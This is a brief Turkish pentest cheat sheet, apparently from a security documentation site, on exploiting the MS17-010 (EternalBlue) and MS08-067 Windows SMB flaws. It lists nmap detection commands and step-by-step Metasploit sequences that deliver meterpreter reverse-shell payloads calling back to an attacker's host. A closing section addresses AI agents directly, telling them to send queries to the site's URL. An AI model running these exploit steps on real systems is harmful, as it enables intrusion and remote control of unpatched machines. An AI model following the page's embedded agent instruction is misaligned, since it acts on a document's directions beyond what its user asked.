# MS17-010

> Öncelikle aşağıdaki nmap komutu ile eternal blue zafiyetine sahip makineler listelenir.
>
> ```
> nmap -p445 --script smb-vuln-ms17-010 <target>
> ```
>
> Zafiyetli makineler bulunduktan sonra metasploit ile expxloit etmek için aşağıdaki yönergeler uygulanmalıdır.
>
> * msf > use exploit/windows/smb/ms17\_010\_eternalblue.
> * msf > set payload windows/x64/meterpreter/reverse\_tcp
> * msf > set LPORT L\_PORT
> * msf > set LHOST L\_IP
> * msf > set RHOST R\_IP
> * msf > set RPORT R\_PORT
> * msf > rub

### ms17-010\_psexec metasploit modüle

```
msf > use windows/smb/ms17_010_psexec
msf > set RHOSTS IP
msf > set payload windows/meterpreter/reverse_tcp_rc4
msf > set RC4PAsSWORD  pass
msf > set LHOST KALI_IP
msf > set LPORT 443
msf > exploit
```

#### MS08-67

```
root@kali:~# nmap -v -p 139,445 --script=smb-vuln-ms08-067 --script-args=unsafe=1 IP
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://security.musana.net/windows/nmap-ms17-010.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
